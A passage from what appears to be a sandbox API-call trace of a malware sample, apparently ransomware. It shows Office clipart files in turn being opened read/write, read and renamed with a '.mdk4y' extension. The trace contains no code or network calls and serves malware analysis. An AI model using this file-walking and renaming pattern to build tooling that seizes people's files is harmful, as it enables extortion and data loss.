nNumberOfBytesToRead=0x100000, lpNumberOfBytesRead=0x37df4c, lpOverlapped=0x0 | out: lpBuffer=0x380020*, lpNumberOfBytesRead=0x37df4c*=0x276a, lpOverlapped=0x0) returned 1 [0175.223] MoveFileA (lpExistingFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\TR00006_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\tr00006_.wmf"), lpNewFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\TR00006_.WMF.mdk4y" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\tr00006_.wmf.mdk4y")) returned 1 [0175.224] FindNextFileW (in: hFindFile=0x6ab310, lpFindFileData=0x6b7110 | out: lpFindFileData=0x6b7110) returned 1 [0175.224] AreFileApisANSI () returned 1 [0175.224] GetACP () returned 0x4e4 [0175.224] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="TR00095_.WMF", cchWideChar=12, lpMultiByteStr=0x6aaeb4, cbMultiByte=260, lpDefaultChar=0x0, lpUsedDefaultChar=0x37df4c | out: lpMultiByteStr="TR00095_.WMF", lpUsedDefaultChar=0x37df4c) returned 12 [0175.224] CreateFileA (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\TR00095_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\tr00095_.wmf"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x20, hTemplateFile=0x0) returned 0xd8 [0175.230] ReadFile (in: hFile=0xd8, lpBuffer=0x380020, nNumberOfBytesToRead=0x100000, lpNumberOfBytesRead=0x37df4c, lpOverlapped=0x0 | out: lpBuffer=0x380020*, lpNumberOfBytesRead=0x37df4c*=0x228c, lpOverlapped=0x0) returned 1 [0175.244] MoveFileA (lpExistingFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\TR00095_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\tr00095_.wmf"), lpNewFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\TR00095_.WMF.mdk4y" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\tr00095_.wmf.mdk4y")) returned 1 [0175.245] FindNextFileW (in: hFindFile=0x6ab310, lpFindFileData=0x6b7110 | out: lpFindFileData=0x6b7110) returned 1 [0175.245] AreFileApisANSI () returned 1 [0175.245] GetACP () returned 0x4e4 [0175.245] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="TR00097_.WMF", cchWideChar=12, lpMultiByteStr=0x6aaeb4, cbMultiByte=260, lpDefaultChar=0x0, lpUsedDefaultChar=0x37df4c | out: lpMultiByteStr="TR00097_.WMF", lpUsedDefaultChar=0x37df4c) returned 12 [0175.245] CreateFileA (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\TR00097_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\tr00097_.wmf"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x20, hTemplateFile=0x0) returned 0xd8 [0175.246] ReadFile (in: hFile=0xd8, lpBuffer=0x380020, nNumberOfBytesToRead=0x100000, lpNumberOfBytesRead=0x37df4c, lpOverlapped=0x0 | out: lpBuffer=0x380020*, lpNumberOfBytesRead=0x37df4c*=0x9fc, lpOverlapped=0x0) returned 1 [0175.247] MoveFileA (lpExistingFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\TR00097_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\tr00097_.wmf"), lpNewFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\TR00097_.WMF.mdk4y" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\tr00097_.wmf.mdk4y")) returned 1 [0175.247] FindNextFileW (in: hFindFile=0x6ab310, lpFindFileData=0x6b7110 | out: lpFindFileData=0x6b7110) returned 1 [0175.248] AreFileApisANSI () returned 1 [0175.248] GetACP () returned 0x4e4 [0175.248] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="TR00116_.WMF", cchWideChar=12, lpMultiByteStr=0x6aaeb4, cbMultiByte=260, lpDefaultChar=0x0, lpUsedDefaultChar=0x37df4c | out: lpMultiByteStr="TR00116_.WMF", lpUsedDefaultChar=0x37df4c) returned 12 [0175.248] CreateFileA (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\TR00116_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\tr00116_.wmf"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x20, hTemplateFile=0x0) returned 0xd8 [0175.249] ReadFile (in: hFile=0xd8, lpBuffer=0x380020, nNumberOfBytesToRead=0x100000, lpNumberOfBytesRead=0x37df4c, lpOverlapped=0x0 | out: lpBuffer=0x380020*, lpNumberOfBytesRead=0x37df4c*=0x25bc, lpOverlapped=0x0) returned 1 [0175.263] MoveFileA (lpExistingFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\TR00116_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\tr00116_.wmf"), lpNewFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\TR00116_.WMF.mdk4y" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\tr00116_.wmf.mdk4y")) returned 1 [0175.265] FindNextFileW (in: hFindFile=0x6ab310, lpFindFileData=0x6b7110 | out: lpFindFileData=0x6b7110) returned 1 [0175.265] AreFileApisANSI () returned 1 [0175.265] GetACP () returned 0x4e4 [0175.265] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="TR00126_.WMF", cchWideChar=12, lpMultiByteStr=0x6aaeb4, cbMultiByte=260, lpDefaultChar=0x0, lpUsedDefaultChar=0x37df4c | out: lpMultiByteStr="TR00126_.WMF", lpUsedDefaultChar=0x37df4c) returned 12 [0175.265] CreateFileA (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\TR00126_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\tr00126_.wmf"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x20, hTemplateFile=0x0) returned 0xd8 [0175.266] ReadFile (in: hFile=0xd8, lpBuffer=0x380020, nNumberOfBytesToRead=0x100000, lpNumberOfBytesRead=0x37df4c, lpOverlapped=0x0 | out: lpBuffer=0x380020*, lpNumberOfBytesRead=0x37df4c*=0x1234, lpOverlapped=0x0) returned 1 [0175.278] MoveFileA (lpExistingFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\TR00126_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\tr00126_.wmf"), lpNewFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\TR00126_.WMF.mdk4y" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\tr00126_.wmf.mdk4y")) returned 1 [0175.279] FindNextFileW (in: hFindFile=0x6ab310, lpFindFileData=0x6b7110 | out: lpFindFileData=0x6b7110) returned 1 [0175.279] AreFileApisANSI () returned 1 [0175.279] GetACP () returned 0x4e4 [0175.279] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="TR00172_.WMF", cchWideChar=12, lpMultiByteStr=0x6aaeb4, cbMultiByte=260, lpDefaultChar=0x0, lpUsedDefaultChar=0x37df4c | out: lpMultiByteStr="TR00172_.WMF", lpUsedDefaultChar=0x37df4c) returned 12 [0175.279] CreateFileA (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\TR00172_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\tr00172_.wmf"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x20, hTemplateFile=0x0) returned 0xd8 [0175.280] ReadFile (in: hFile=0xd8, lpBuffer=0x380020, nNumberOfBytesToRead=0x100000, lpNumberOfBytesRead=0x37df4c, lpOverlapped=0x0 | out: lpBuffer=0x380020*, lpNumberOfBytesRead=0x37df4c*=0x235c, lpOverlapped=0x0) returned 1 [0175.302] MoveFileA (lpExistingFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\TR00172_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\tr00172_.wmf"), lpNewFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\TR00172_.WMF.mdk4y" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\tr00172_.wmf.mdk4y")) returned 1 [0175.303] FindNextFileW (in: hFindFile=0x6ab310, lpFindFileData=0x6b7110 | out: lpFindFileData=0x6b7110) returned 1 [0175.303] AreFileApisANSI () returned 1 [0175.303] GetACP () returned 0x4e4 [0175.303] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="TR00178_.WMF", cchWideChar=12, lpMultiByteStr=0x6aaeb4, cbMultiByte=260, lpDefaultChar=0x0, lpUsedDefaultChar=0x37df4c | out: lpMultiByteStr="TR00178_.WMF", lpUsedDefaultChar=0x37df4c) returned 12 [0175.303] CreateFileA (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\TR00178_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\tr00178_.wmf"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x20, hTemplateFile=0x0) returned 0xd8 [0175.304] ReadFile (in: hFile=0xd8, lpBuffer=0x380020, nNumberOfBytesToRead=0x100000, lpNumberOfBytesRead=0x37df4c, lpOverlapped=0x0 | out: lpBuffer=0x380020*, lpNumberOfBytesRead=0x37df4c*=0x2142, lpOverlapped=0x0) returned 1 [0175.324] MoveFileA (lpExistingFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\TR00178_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\tr00178_.wmf"), lpNewFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\TR00178_.WMF.mdk4y" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\tr00178_.wmf.mdk4y")) returned 1 [0175.325] FindNextFileW (in: hFindFile=0x6ab310, lpFindFileData=0x6b7110 | out: lpFindFileData=0x6b7110) returned 1 [0175.325] AreFileApisANSI () returned 1 [0175.325] GetACP () returned 0x4e4 [0175.325] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="TR00232_.WMF", cchWideChar=12, lpMultiByteStr=0x6aaeb4, cbMultiByte=260, lpDefaultChar=0x0, lpUsedDefaultChar=0x37df4c | out: lpMultiByteStr="TR00232_.WMF", lpUsedDefaultChar=0x37df4c) returned 12 [0175.325] CreateFileA (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\TR00232_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\tr00232_.wmf"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x20, hTemplateFile=0x0) returned 0xd8 [0175.326] ReadFile (in: hFile=0xd8, lpBuffer=0x380020, nNumberOfBytesToRead=0x100000, lpNumberOfBytesRead=0x37df4c, lpOverlapped=0x0 | out: lpBuffer=0x380020*, lpNumberOfBytesRead=0x37df4c*=0x6cc0, lpOverlapped=0x0) returned 1 [0175.336] MoveFileA (lpExistingFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\TR00232_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\tr00232_.wmf"), lpNewFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\TR00232_.WMF.mdk4y" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\tr00232_.wmf.mdk4y")) returned 1 [0175.336] FindNextFileW (in: hFindFile=0x6ab310, lpFindFileData=0x6b7110 | out: lpFindFileData=0x6b7110) returned 1 [0175.337] AreFileApisANSI () returned 1 [0175.337] GetACP () returned 0x4e4 [0175.337] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="TR00233_.WMF", cchWideChar=12, lpMultiByteStr=0x6aaeb4, cbMultiByte=260, lpDefaultChar=0x0, lpUsedDefaultChar=0x37df4c | out: lpMultiByteStr="TR00233_.WMF", lpUsedDefaultChar=0x37df4c) returned 12 [0175.337] CreateFileA (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\TR00233_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\tr00233_.wmf"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x20, hTemplateFile=0x0) returned 0xd8 [0175.337] ReadFile (in: hFile=0xd8, lpBuffer=0x380020, nNumberOfBytesToRead=0x100000, lpNumberOfBytesRead=0x37df4c, lpOverlapped=0x0 | out: lpBuffer=0x380020*, lpNumberOfBytesRead=0x37df4c*=0x7c4a, lpOverlapped=0x0) returned 1 [0175.367] MoveFileA (lpExistingFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\TR00233_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\tr00233_.wmf"), lpNewFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\TR00233_.WMF.mdk4y" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\tr00233_.wmf.mdk4y")) returned 1 [0175.368] FindNextFileW (in: hFindFile=0x6ab310, lpFindFileData=0x6b7110 | out: lpFindFileData=0x6b7110) returned 1 [0175.368] AreFileApisANSI () returned 1 [0175.368] GetACP () returned 0x4e4 [0175.368] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="TR00402_.WMF", cchWideChar=12, lpMultiByteStr=0x6aaeb4, cbMultiByte=260, lpDefaultChar=0x0, lpUsedDefaultChar=0x37df4c | out: lpMultiByteStr="TR00402_.WMF", lpUsedDefaultChar=0x37df4c) returned 12 [0175.369] CreateFileA (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\TR00402_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\tr00402_.wmf"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x20, hTemplateFile=0x0) returned 0xd8 [0175.370] ReadFile (in: hFile=0xd8, lpBuffer=0x380020, nNumberOfBytesToRead=0x100000, lpNumberOfBytesRead=0x37df4c, lpOverlapped=0x0 | out: lpBuffer=0x380020*, lpNumberOfBytesRead=0x37df4c*=0x8e0, lpOverlapped=0x0) returned 1 [0175.372] MoveFileA (lpExistingFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\TR00402_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\tr00402_.wmf"), lpNewFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\TR00402_.WMF.mdk4y" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\tr00402_.wmf.mdk4y")) returned 1 [0175.373] FindNextFileW (in: hFindFile=0x6ab310, lpFindFileData=0x6b7110 | out: lpFindFileData=0x6b7110) returned 1 [0175.373] AreFileApisANSI () returned 1 [0175.373] GetACP () returned 0x4e4 [0175.373] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="TR00482_.WMF", cchWideChar=12, lpMultiByteStr=0x6aaeb4, cbMultiByte=260, lpDefaultChar=0x0, lpUsedDefaultChar=0x37df4c | out: lpMultiByteStr="TR00482_.WMF", lpUsedDefaultChar=0x37df4c) returned 12 [0175.373] CreateFileA (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\TR00482_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\tr00482_.wmf"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x20, hTemplateFile=0x0) returned 0xd8 [0175.374] ReadFile (in: hFile=0xd8, lpBuffer=0x380020, nNumberOfBytesToRead=0x100000, lpNumberOfBytesRead=0x37df4c, lpOverlapped=0x0 | out: lpBuffer=0x380020*, lpNumberOfBytesRead=0x37df4c*=0x2054, lpOverlapped=0x0) returned 1 [0175.386] MoveFileA (lpExistingFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\TR00482_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\tr00482_.wmf"), lpNewFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\TR00482_.WMF.mdk4y" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\tr00482_.wmf.mdk4y")) returned 1 [0175.387] FindNextFileW (in: hFindFile=0x6ab310, lpFindFileData=0x6b7110 | out: lpFindFileData=0x6b7110) returned 1 [0175.387] AreFileApisANSI () returned 1 [0175.387] GetACP () returned 0x4e4 [0175.387] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="TR00494_.WMF", cchWideChar=12, lpMultiByteStr=0x6aaeb4, cbMultiByte=260, lpDefaultChar=0x0, lpUsedDefaultChar=0x37df4c | out: lpMultiByteStr="TR00494_.WMF", lpUsedDefaultChar=0x37df4c) returned 12 [0175.387] CreateFileA (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\TR00494_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\tr00494_.wmf"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x20, hTemplateFile=0x0) returned 0xd8 [0175.387] ReadFile (in: hFile=0xd8, lpBuffer=0x380020, nNumberOfBytesToRead=0x100000, lpNumberOfBytesRead=0x37df4c, lpOverlapped=0x0 | out: lpBuffer=0x380020*, lpNumberOfBytesRead=0x37df4c*=0x1800, lpOverlapped=0x0) returned 1 [0175.396] MoveFileA (lpExistingFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\TR00494_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\tr00494_.wmf"), lpNewFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\TR00494_.WMF.mdk4y" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\tr00494_.wmf.mdk4y")) returned 1 [0175.397] FindNextFileW (in: hFindFile=0x6ab310, lpFindFileData=0x6b7110 | out: lpFindFileData=0x6b7110) returned 1 [0175.397] AreFileApisANSI () returned 1 [0175.397] GetACP () returned 0x4e4 [0175.397] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="URBAN_01.MID", cchWideChar=12, lpMultiByteStr=0x6aaeb4, cbMultiByte=260, lpDefaultChar=0x0, lpUsedDefaultChar=0x37df4c | out: lpMultiByteStr="URBAN_01.MID", lpUsedDefaultChar=0x37df4c) returned 12 [0175.397] CreateFileA (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\URBAN_01.MID" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\urban_01.mid"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x20, hTemplateFile=0x0) returned 0xd8 [0175.398] ReadFile (in: hFile=0xd8, lpBuffer=0x380020, nNumberOfBytesToRead=0x100000, lpNumberOfBytesRead=0x37df4c, lpOverlapped=0x0 | out: lpBuffer=0x380020*, lpNumberOfBytesRead=0x37df4c*=0x342e, lpOverlapped=0x0) returned 1 [0175.414] MoveFileA (lpExistingFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\URBAN_01.MID" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\urban_01.mid"), lpNewFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\URBAN_01.MID.mdk4y" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\urban_01.mid.mdk4y")) returned 1 [0175.415] FindNextFileW (in: hFindFile=0x6ab310, lpFindFileData=0x6b7110 | out: lpFindFileData=0x6b7110) returned 1 [0175.415] AreFileApisANSI () returned 1 [0175.415] GetACP () returned 0x4e4 [0175.415] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="VCTRN_01.MID", cchWideChar=12, lpMultiByteStr=0x6aaeb4, cbMultiByte=260, lpDefaultChar=0x0, lpUsedDefaultChar=0x37df4c | out: lpMultiByteStr="VCTRN_01.MID", lpUsedDefaultChar=0x37df4c) returned 12 [0175.415] CreateFileA (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\VCTRN_01.MID" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\vctrn_01.mid"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x20, hTemplateFile=0x0) returned 0xd8 [0175.416] ReadFile (in: hFile=0xd8, lpBuffer=0x380020, nNumberOfBytesToRead=0x100000, lpNumberOfBytesRead=0x37df4c, lpOverlapped=0x0 | out: lpBuffer=0x380020*, lpNumberOfBytesRead=0x37df4c*=0x1361, lpOverlapped=0x0) returned 1 [0175.423] MoveFileA (lpExistingFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\VCTRN_01.MID" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\vctrn_01.mid"), lpNewFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\VCTRN_01.MID.mdk4y" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\vctrn_01.mid.mdk4y")) returned 1 [0175.424] FindNextFileW (in: hFindFile=0x6ab310, lpFindFileData=0x6b7110 | out: lpFindFileData=0x6b7110) returned 1 [0175.424] AreFileApisANSI () returned 1 [0175.424] GetACP () returned 0x4e4 [0175.424] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="WB01219_.GIF", cchWideChar=12, lpMultiByteStr=0x6aaeb4, cbMultiByte=260, lpDefaultChar=0x0, lpUsedDefaultChar=0x37df4c | out: lpMultiByteStr="WB01219_.GIF", lpUsedDefaultChar=0x37df4c) returned 12 [0175.424] CreateFileA (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\WB01219_.GIF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\wb01219_.gif"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x20, hTemplateFile=0x0) returned 0xd8 [0175.425] ReadFile (in: hFile=0xd8, lpBuffer=0x380020, nNumberOfBytesToRead=0x100000, lpNumberOfBytesRead=0x37df4c, lpOverlapped=0x0 | out: lpBuffer=0x380020*, lpNumberOfBytesRead=0x37df4c*=0x2e4, lpOverlapped=0x0) returned 1 [0175.426] MoveFileA (lpExistingFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\WB01219_.GIF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\wb01219_.gif"), lpNewFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\WB01219_.GIF.mdk4y" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\wb01219_.gif.mdk4y")) returned 1 [0175.427] FindNextFileW (in: hFindFile=0x6ab310, lpFindFileData=0x6b7110 | out: lpFindFileData=0x6b7110) returned 1 [0175.427] AreFileApisANSI () returned 1 [0175.427] GetACP () returned 0x4e4 [0175.427] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="WB01237_.GIF", cchWideChar=12, lpMultiByteStr=0x6aaeb4, cbMultiByte=260, lpDefaultChar=0x0, lpUsedDefaultChar=0x37df4c | out: lpMultiByteStr="WB01237_.GIF", lpUsedDefaultChar=0x37df4c) returned 12 [0175.427] CreateFileA (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\WB01237_.GIF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\wb01237_.gif"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x20, hTemplateFile=0x0) returned 0xd8 [0175.427] ReadFile (in: hFile=0xd8, lpBuffer=0x380020, nNumberOfBytesToRead=0x100000, lpNumberOfBytesRead=0x37df4c, lpOverlapped=0x0 | out: lpBuffer=0x380020*, lpNumberOfBytesRead=0x37df4c*=0x16b, lpOverlapped=0x0) returned 1 [0175.428] MoveFileA (lpExistingFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\WB01237_.GIF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\wb01237_.gif"), lpNewFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\WB01237_.GIF.mdk4y" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\wb01237_.gif.mdk4y")) returned 1 [0175.429] FindNextFileW (in: hFindFile=0x6ab310, lpFindFileData=0x6b7110 | out: lpFindFileData=0x6b7110) returned 1 [0175.429] AreFileApisANSI () returned 1 [0175.429] GetACP () returned 0x4e4 [0175.429] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="WB01238_.GIF", cchWideChar=12, lpMultiByteStr=0x6aaeb4, cbMultiByte=260, lpDefaultChar=0x0, lpUsedDefaultChar=0x37df4c | out: lpMultiByteStr="WB01238_.GIF", lpUsedDefaultChar=0x37df4c) returned 12 [0175.429] CreateFileA (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\WB01238_.GIF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\wb01238_.gif"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x20, hTemplateFile=0x0) returned 0xd8 [0175.429] ReadFile (in: hFile=0xd8, lpBuffer=0x380020, nNumberOfBytesToRead=0x100000, lpNumberOfBytesRead=0x37df4c, lpOverlapped=0x0 | out: lpBuffer=0x380020*, lpNumberOfBytesRead=0x37df4c*=0x167, lpOverlapped=0x0) returned 1 [0175.430] MoveFileA (lpExistingFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\WB01238_.GIF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\wb01238_.gif"), lpNewFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\WB01238_.GIF.mdk4y" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\wb01238_.gif.mdk4y")) returned 1 [0175.431] FindNextFileW (in: hFindFile=0x6ab310, lpFindFileData=0x6b7110 | out: lpFindFileData=0x6b7110) returned 1 [0175.431] AreFileApisANSI () returned 1 [0175.431] GetACP () returned 0x4e4 [0175.431] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="WB01239_.GIF", cchWideChar=12, lpMultiByteStr=0x6aaeb4, cbMultiByte=260, lpDefaultChar=0x0, lpUsedDefaultChar=0x37df4c | out: lpMultiByteStr="WB01239_.GIF", lpUsedDefaultChar=0x37df4c) returned 12 [0175.431] CreateFileA (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\WB01239_.GIF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\wb01239_.gif"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x20, hTemplateFile=0x0) returned 0xd8 [0175.431] ReadFile (in: hFile=0xd8, lpBuffer=0x380020, nNumberOfBytesToRead=0x100000, lpNumberOfBytesRead=0x37df4c, lpOverlapped=0x0 | out: lpBuffer=0x380020*, lpNumberOfBytesRead=0x37df4c*=0x19a, lpOverlapped=0x0) returned 1 [0175.432] MoveFileA (lpExistingFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\WB01239_.GIF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\wb01239_.gif"), lpNewFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\WB01239_.GIF.mdk4y" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\wb01239_.gif.mdk4y")) returned 1 [0175.434] FindNextFileW (in: hFindFile=0x6ab310, lpFindFileData=0x6b7110 | out: lpFindFileData=0x6b7110) returned 1 [0175.434] AreFileApisANSI () returned 1 [0175.434] GetACP () returned 0x4e4 [0175.434] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="WB01240_.GIF", cchWideChar=12, lpMultiByteStr=0x6aaeb4, cbMultiByte=260, 